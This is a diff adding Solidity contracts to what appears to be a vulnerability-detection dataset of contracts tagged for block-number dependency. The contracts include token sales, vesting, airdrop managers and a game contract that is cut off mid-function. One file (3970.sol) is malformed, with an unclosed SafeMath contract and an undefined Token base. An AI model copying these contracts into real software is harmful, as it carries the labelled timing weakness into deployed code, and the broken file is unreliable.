if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); + + ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname); + + return true; + + } + + function getRelayingKing() public returns (address) + { + return MiningKingInterface(relayKingContract).getKing(); + } + + + + + + + + + + + function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { + + + uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this); + + + uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]); + + + assert(tokens <= undepositedTokens); + + if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert(); + + + + return true; + + } + + + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3955.sol b/smart_contract_dataset/block number dependency/3955.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3955.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3970.sol b/smart_contract_dataset/block number dependency/3970.sol new file mode 100644 index 0000000000000000000000000000000000000000..28beef0a33dd052bf917f68dfdc62a2fb4e5382f --- /dev/null +++ b/smart_contract_dataset/block number dependency/3970.sol @@ -0,0 +1,217 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 xxc) returns (bool success); +} + + +contract SafeMath { + + + + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract XinXianToken is StandardToken, SafeMath { + + + string public constant name = "XinXian"; + string public constant symbol = "XXC"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 625; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function XinXianToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(1000000000); + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3971.sol b/smart_contract_dataset/block number dependency/3971.sol new file mode 100644 index 0000000000000000000000000000000000000000..ad91a8694e8139309cb2156f81f20ccd6913d937 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3971.sol @@ -0,0 +1,477 @@ +pragma solidity 0.4.24; +contract Owned { + + address public owner = msg.sender; + + constructor(address _owner) public { + if ( _owner == 0x00 ) { + _owner = msg.sender; + } + owner = _owner; + } + + function replaceOwner(address _owner) external returns(bool) { + require( isOwner() ); + owner = _owner; + return true; + } + + function isOwner() internal view returns(bool) { + return owner == msg.sender; + } + + modifier forOwner { + require( isOwner() ); + _; + } +} +library SafeMath { + + function add(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a + b; + assert( c >= a ); + return c; + } + function sub(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a - b; + assert( c <= a ); + return c; + } + function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a * b; + assert( c == 0 || c / a == b ); + return c; + } + function div(uint256 a, uint256 b) internal pure returns(uint256) { + return a / b; + } + function pow(uint256 a, uint256 b) internal pure returns(uint256 c) { + c = a ** b; + assert( c % a == 0 ); + return a ** b; + } +} +contract TokenDB is Owned { + + function transfer(address _from, address _to, uint256 _amount) external returns(bool _success) {} + function bulkTransfer(address _from, address[] _to, uint256[] _amount) external returns(bool _success) {} + function setAllowance(address _owner, address _spender, uint256 _amount) external returns(bool _success) {} + + function getAllowance(address _owner, address _spender) public view returns(bool _success, uint256 _remaining) {} + function balanceOf(address _owner) public view returns(bool _success, uint256 _balance) {} +} +contract Token is Owned { + + using SafeMath for uint256; + + string public name = "Inlock token"; + string public symbol = "ILK"; + uint8 public decimals = 8; + uint256 public totalSupply = 44e16; + address public libAddress; + TokenDB public db; + Ico public ico; + + function () public { revert(); } + + function changeLibAddress(address _libAddress) external forOwner {} + function changeDBAddress(address _dbAddress) external forOwner {} + function changeIcoAddress(address _icoAddress) external forOwner {} + function approve(address _spender, uint256 _value) external returns (bool _success) {} + function transfer(address _to, uint256 _amount) external returns (bool _success) {} + function bulkTransfer(address[] _to, uint256[] _amount) external returns (bool _success) {} + function transferFrom(address _from, address _to, uint256 _amount) external returns (bool _success) {} + + function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {} + function balanceOf(address _owner) public view returns (uint256 _balance) {} + + event AllowanceUsed(address indexed _spender, address indexed _owner, uint256 indexed _value); + event Mint(address indexed _addr, uint256 indexed _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); + event Transfer(address indexed _from, address indexed _to, uint _value); +} +contract Ico is Owned { + + using SafeMath for uint256; + + enum phaseType { + pause, + privateSale1, + privateSale2, + sales1, + sales2, + sales3, + sales4, + preFinish, + finish + } + struct vesting_s { + uint256 amount; + uint256 startBlock; + uint256 endBlock; + uint256 claimedAmount; + } + + mapping(address => bool) public KYC; + mapping(address => bool) public transferRight; + mapping(address => vesting_s) public vesting; + phaseType public currentPhase; + uint256 public currentRate; + uint256 public currentRateM = 1e3; + uint256 public privateSale1Hardcap = 4e16; + uint256 public privateSale2Hardcap = 64e15; + uint256 public thisBalance = 44e16; + address public offchainUploaderAddress; + address public setKYCAddress; + address public setRateAddress; + address public libAddress; + Token public token; + + constructor(address _owner, address _libAddress, address _tokenAddress, address _offchainUploaderAddress, + address _setKYCAddress, address _setRateAddress) Owned(_owner) public { + currentPhase = phaseType.pause; + libAddress = _libAddress; + token = Token(_tokenAddress); + offchainUploaderAddress = _offchainUploaderAddress; + setKYCAddress = _setKYCAddress; + setRateAddress = _setRateAddress; + } + + function () public payable { + buy(); + } + + function changeLibAddress(address _libAddress) external forOwner { + libAddress = _libAddress; + } + function changeOffchainUploaderAddress(address _offchainUploaderAddress) external forOwner { + offchainUploaderAddress = _offchainUploaderAddress; + } + function changeKYCAddress(address _setKYCAddress) external forOwner { + setKYCAddress = _setKYCAddress; + } + function changeSetRateAddress(address _setRateAddress) external forOwner { + setRateAddress = _setRateAddress; + } + function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function claimVesting() external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setKYC(address[] _on, address[] _off) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setTransferRight(address[] _allow, address[] _disallow) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setCurrentRate(uint256 _currentRate) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function setCurrentPhase(phaseType _phase) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + function buy() public payable { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0) + } + } + } + + function allowTransfer(address _owner) public view returns (bool _success, bool _allow) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) { + address _trg = libAddress; + assembly { + let m := mload(0x40) + calldatacopy(m, 0, calldatasize) + let success := delegatecall(gas, _trg, m, calldatasize, m, 0x40) + switch success case 0 { + revert(0, 0) + } default { + return(m, 0x40) + } + } + } + + event Brought(address _owner, address _beneficiary, uint256 _input, uint256 _output); + event VestingDefined(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock); + event VestingClaimed(address _beneficiary, uint256 _amount); +} +contract IcoLib is Ico { + + constructor(address _owner, address _tokenAddress, address _offchainUploaderAddress, address _setKYCAddress, address _setRateAddress) + Ico(_owner, 0x00, _tokenAddress, _offchainUploaderAddress, _setKYCAddress, _setRateAddress) public {} + + function setVesting(address _beneficiary, uint256 _amount, uint256 _startBlock, uint256 _endBlock) external forOwner { + require( _beneficiary != 0x00 ); + thisBalance = thisBalance.add( vesting[_beneficiary].amount.sub(vesting[_beneficiary].claimedAmount) ); + if ( _amount == 0 ) { + delete vesting[_beneficiary]; + emit VestingDefined(_beneficiary, 0, 0, 0); + } else { + require( _endBlock > _startBlock ); + vesting[_beneficiary] = vesting_s( + _amount, + _startBlock, + _endBlock, + 0 + ); + thisBalance = thisBalance.sub( _amount ); + emit VestingDefined(_beneficiary, _amount, _startBlock, _endBlock); + } + } + function claimVesting() external { + uint256 _reward; + bool _subResult; + ( _subResult, _reward ) = calcVesting(msg.sender); + require( _subResult && _reward > 0 ); + vesting[msg.sender].claimedAmount = vesting[msg.sender].claimedAmount.add(_reward); + require( token.transfer(msg.sender, _reward) ); + } + function setKYC(address[] _on, address[] _off) external { + uint256 i; + require( msg.sender == setKYCAddress ); + for ( i=0 ; i<_on.length ; i++ ) { + KYC[_on[i]] = true; + } + for ( i=0 ; i<_off.length ; i++ ) { + delete KYC[_off[i]]; + } + } + function setTransferRight(address[] _allow, address[] _disallow) external forOwner { + uint256 i; + for ( i=0 ; i<_allow.length ; i++ ) { + transferRight[_allow[i]] = true; + } + for ( i=0 ; i<_disallow.length ; i++ ) { + delete transferRight[_disallow[i]]; + } + } + function setCurrentRate(uint256 _currentRate) external { + require( msg.sender == setRateAddress ); + require( _currentRate >= currentRateM ); + currentRate = _currentRate; + } + function setCurrentPhase(phaseType _phase) external forOwner { + currentPhase = _phase; + } + function offchainUpload(address[] _beneficiaries, uint256[] _rewards) external { + uint256 i; + uint256 _totalReward; + require( msg.sender == offchainUploaderAddress ); + require( currentPhase != phaseType.pause && currentPhase != phaseType.finish ); + require( _beneficiaries.length == _rewards.length ); + for ( i=0 ; i<_rewards.length ; i++ ) { + _totalReward = _totalReward.add(_rewards[i]); + emit Brought(msg.sender, _beneficiaries[i], 0, _rewards[i]); + } + thisBalance = thisBalance.sub(_totalReward); + if ( currentPhase == phaseType.privateSale1 ) { + privateSale1Hardcap = privateSale1Hardcap.sub(_totalReward); + } else if ( currentPhase == phaseType.privateSale2 ) { + privateSale2Hardcap = privateSale2Hardcap.sub(_totalReward); + } + token.bulkTransfer(_beneficiaries, _rewards); + } + function buy() public payable { + uint256 _reward; + bool _subResult; + require( currentPhase == phaseType.privateSale2 || + currentPhase == phaseType.sales1 || + currentPhase == phaseType.sales2 || + currentPhase == phaseType.sales3 || + currentPhase == phaseType.sales4 || + currentPhase == phaseType.preFinish + ); + require( KYC[msg.sender] ); + ( _subResult, _reward ) = calculateReward(msg.value); + require( _reward > 0 && _subResult ); + thisBalance = thisBalance.sub(_reward); + require( owner.send(msg.value) ); + if ( currentPhase == phaseType.privateSale1 ) { + privateSale1Hardcap = privateSale1Hardcap.sub(_reward); + } else if ( currentPhase == phaseType.privateSale2 ) { + privateSale2Hardcap = privateSale2Hardcap.sub(_reward); + } + require( token.transfer(msg.sender, _reward) ); + emit Brought(msg.sender, msg.sender, msg.value, _reward); + } + + function allowTransfer(address _owner) public view returns (bool _success, bool _allow) { + return ( true, _owner == address(this) || transferRight[_owner] || currentPhase == phaseType.preFinish || currentPhase == phaseType.finish ); + } + function calculateReward(uint256 _input) public view returns (bool _success, uint256 _reward) { + uint256 _amount; + _success = true; + if ( currentRate == 0 || _input == 0 ) { + return; + } + _amount = _input.mul(1e8).mul(100).mul(currentRate).div(1e18).div(currentRateM); + if ( _amount == 0 ) { + return; + } + if ( currentPhase == phaseType.privateSale1 ) { + if ( _amount >= 25e13 ) { + _reward = _amount.mul(142).div(100); + } else if ( _amount >= 10e13 ) { + _reward = _amount.mul(137).div(100); + } else if ( _amount >= 2e13 ) { + _reward = _amount.mul(133).div(100); + } + if ( _reward > 0 && privateSale1Hardcap < _reward ) { + _reward = 0; + } + } else if ( currentPhase == phaseType.privateSale2 ) { + if ( _amount >= 125e13 ) { + _reward = _amount.mul(129).div(100); + } else if ( _amount >= 100e13 ) { + _reward = _amount.mul(124).div(100); + } else if ( _amount >= 10e13 ) { + _reward = _amount.mul(121).div(100); + } + if ( _reward > 0 && privateSale2Hardcap < _reward ) { + _reward = 0; + } + } else if ( currentPhase == phaseType.sales1 ) { + if ( _amount >= 1e13 ) { + _reward = _amount.mul(117).div(100); + } + } else if ( currentPhase == phaseType.sales2 ) { + if ( _amount >= 1e13 ) { + _reward = _amount.mul(112).div(100); + } + } else if ( currentPhase == phaseType.sales3 ) { + if ( _amount >= 1e13 ) { + _reward = _amount.mul(109).div(100); + } + } else if ( currentPhase == phaseType.sales4 ) { + if ( _amount >= 1e13 ) { + _reward = _amount.mul(102).div(100); + } + } else if ( currentPhase == phaseType.preFinish ) { + _reward = _amount; + } + if ( thisBalance < _reward ) { + _reward = 0; + } + } + function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) { + vesting_s memory _vesting = vesting[_owner]; + if ( _vesting.amount == 0 || block.number < _vesting.startBlock ) { + return ( true, 0 ); + } + _reward = _vesting.amount.mul( block.number.sub(_vesting.startBlock) ).div( _vesting.endBlock.sub(_vesting.startBlock) ); + if ( _reward > _vesting.amount ) { + _reward = _vesting.amount; + } + if ( _reward <= _vesting.claimedAmount ) { + return ( true, 0 ); + } + return ( true, _reward.sub(_vesting.claimedAmount) ); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/399.sol b/smart_contract_dataset/block number dependency/399.sol new file mode 100644 index 0000000000000000000000000000000000000000..334dd4fd05d775080d74165a33804154287b2931 --- /dev/null +++ b/smart_contract_dataset/block number dependency/399.sol @@ -0,0 +1,687 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } + + + function sqrt(uint256 x) internal pure returns (uint256 y) { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) { + y = z; + z = ((add((x / z),z)) / 2); + } + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract Saturn is Ownable { + using SafeMath for uint256; + + struct Player { + uint256 pid; + uint256 ethTotal; + uint256 ethBalance; + uint256 ethWithdraw; + uint256 ethShareWithdraw; + uint256 tokenBalance; + uint256 tokenDay; + uint256 tokenDayBalance; + } + + struct LuckyRecord { + address player; + uint256 amount; + uint64 txId; + uint64 time; + + + + uint64 level; + } + + + struct LuckyPending { + address player; + uint256 amount; + uint64 txId; + uint64 block; + uint64 level; + } + + struct InternalBuyEvent { + + + + + + + + uint256 flag1; + } + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Buy( + address indexed _token, address indexed _player, uint256 _amount, uint256 _total, + uint256 _totalSupply, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, + uint256 _price, uint256 _flag1 + ); + event Withdraw(address indexed _token, address indexed _player, uint256 _amount); + event Win(address indexed _token, address indexed _winner, uint256 _winAmount); + + string constant public name = "Saturn"; + string constant public symbol = "SAT"; + uint8 constant public decimals = 18; + + uint256 constant private FEE_REGISTER_ACCOUNT = 10 finney; + uint256 constant private BUY_AMOUNT_MIN = 1000000000; + uint256 constant private BUY_AMOUNT_MAX = 100000000000000000000000; + uint256 constant private TIME_DURATION_INCREASE = 30 seconds; + uint256 constant private TIME_DURATION_MAX = 24 hours; + uint256 constant private ONE_TOKEN = 1000000000000000000; + + mapping(address => Player) public playerOf; + mapping(uint256 => address) public playerIdOf; + uint256 public playerCount; + + uint256 public totalSupply; + + uint256 public totalPot; + uint256 public sharePot; + uint256 public finalPot; + uint256 public luckyPot; + + uint64 public txCount; + uint256 public finishTime; + uint256 public startTime; + + address public lastPlayer; + address public winner; + uint256 public winAmount; + + uint256 public price; + + address[3] public dealers; + uint256 public dealerDay; + + LuckyPending[] public luckyPendings; + uint256 public luckyPendingIndex; + LuckyRecord[] public luckyRecords; + + address public feeOwner; + uint256 public feeAmount; + + + uint64[16] public feePrices = [uint64(88000000000000),140664279921934,224845905067685,359406674201608,574496375292119,918308169866219,1467876789325690,2346338995279770,3750523695724810,5995053579423660,9582839714125510,15317764181758900,24484798507285300,39137915352965200,62560303190573500,99999999999999100]; + + uint8[16] public feePercents = [uint8(150),140,130,120,110,100,90,80,70,60,50,40,30,20,10,0]; + + uint256 public feeIndex; + + + constructor(uint256 _startTime, address _feeOwner) public { + require(_startTime >= now && _feeOwner != address(0)); + startTime = _startTime; + finishTime = _startTime + TIME_DURATION_MAX; + totalSupply = 0; + price = 88000000000000; + feeOwner = _feeOwner; + owner = msg.sender; + } + + + modifier isActivated() { + require(now >= startTime); + _; + } + + + modifier isAccount() { + address _address = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_address)} + require(_codeLength == 0 && tx.origin == msg.sender); + _; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return playerOf[_owner].tokenBalance; + } + + + function getLuckyPendingSize() public view returns (uint256) { + return luckyPendings.length; + } + + function getLuckyRecordSize() public view returns (uint256) { + return luckyRecords.length; + } + + + function getGameInfo() public view returns ( + uint256 _balance, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, uint256 _rewardPot, uint256 _price, + uint256 _totalSupply, uint256 _now, uint256 _timeLeft, address _winner, uint256 _winAmount, uint8 _feePercent + ) { + _balance = address(this).balance; + _totalPot = totalPot; + _sharePot = sharePot; + _finalPot = finalPot; + _luckyPot = luckyPot; + _rewardPot = _sharePot; + uint256 _withdraw = _sharePot.add(_finalPot).add(_luckyPot); + if (_totalPot > _withdraw) { + _rewardPot = _rewardPot.add(_totalPot.sub(_withdraw)); + } + _price = price; + _totalSupply = totalSupply; + _now = now; + _feePercent = feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]; + if (now < finishTime) { + _timeLeft = finishTime - now; + } else { + _timeLeft = 0; + _winner = winner != address(0) ? winner : lastPlayer; + _winAmount = winner != address(0) ? winAmount : finalPot; + } + } + + + function getPlayerInfo(address _playerAddress) public view returns ( + uint256 _pid, uint256 _ethTotal, uint256 _ethBalance, uint256 _ethWithdraw, + uint256 _tokenBalance, uint256 _tokenDayBalance + ) { + Player storage _player = playerOf[_playerAddress]; + if (_player.pid > 0) { + _pid = _player.pid; + _ethTotal = _player.ethTotal; + uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); + _ethBalance = _player.ethBalance; + if (_sharePot > _player.ethShareWithdraw) { + _ethBalance = _ethBalance.add(_sharePot.sub(_player.ethShareWithdraw)); + } + _ethWithdraw = _player.ethWithdraw; + _tokenBalance = _player.tokenBalance; + uint256 _day = (now / 86400) * 86400; + if (_player.tokenDay == _day) { + _tokenDayBalance = _player.tokenDayBalance; + } + } + } + + + function getDealerAndLuckyInfo(uint256 _luckyOffset) public view returns ( + address[3] _dealerPlayers, uint256[3] _dealerDayTokens, uint256[3] _dealerTotalTokens, + address[5] _luckyPlayers, uint256[5] _luckyAmounts, uint256[5] _luckyLevels, uint256[5] _luckyTimes + ) { + uint256 _day = (now / 86400) * 86400; + if (dealerDay == _day) { + for (uint256 _i = 0; _i < 3; ++_i) { + if (dealers[_i] != address(0)) { + Player storage _player = playerOf[dealers[_i]]; + _dealerPlayers[_i] = dealers[_i]; + _dealerDayTokens[_i] = _player.tokenDayBalance; + _dealerTotalTokens[_i] = _player.tokenBalance; + } + } + } + uint256 _size = _luckyOffset >= luckyRecords.length ? 0 : luckyRecords.length - _luckyOffset; + if (_luckyPlayers.length < _size) { + _size = _luckyPlayers.length; + } + for (_i = 0; _i < _size; ++_i) { + LuckyRecord memory _record = luckyRecords[luckyRecords.length - _luckyOffset - 1 - _i]; + _luckyPlayers[_i] = _record.player; + _luckyAmounts[_i] = _record.amount; + _luckyLevels[_i] = _record.level; + _luckyTimes[_i] = _record.time; + } + } + + + function transfer(address _to, uint256 _value) isActivated isAccount public returns (bool) { + require(_to == address(this)); + Player storage _player = playerOf[msg.sender]; + require(_player.pid > 0); + if (now >= finishTime) { + if (winner == address(0)) { + + endGame(); + } + + _value = 80000000000000000; + } else { + + 